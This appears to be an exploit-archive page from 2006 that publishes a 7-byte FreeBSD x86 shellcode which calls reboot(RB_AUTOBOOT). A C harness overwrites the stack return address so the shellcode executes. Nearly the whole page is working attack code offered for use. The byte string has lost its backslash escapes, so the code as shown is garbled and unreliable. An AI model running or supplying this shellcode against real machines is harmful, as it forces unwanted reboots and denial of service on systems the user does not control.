[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes
# Published : 2006-04-19
# Author : IZ
# Previous Title : linux/amd64 connect-back semi-stealth shellcode 88+ bytes
# Next Title : linux/x86 xor-encoded Connect Back Shellcode 371 bytes
/*
*
* FreeBSD_x86-reboot-7b.c (Shellcode, reboot(RB_AUTOBOOT), 7 bytes)
*
* by IZ <guerrilla.sytes.net>
*
*/
char shellcode[] =
"x31xc0" /* xor %eax,%eax */
"x50" /* push %eax */
"xb0x37" /* mov $0x37,%al */
"xcdx80"; /* int $0x80 */
void main()
{
int* ret;
ret = (int*) &ret + 2;
printf("len %dn",strlen(shellcode));
(*ret) = (int) shellcode;
}
// www.Syue.com [2006-04-19]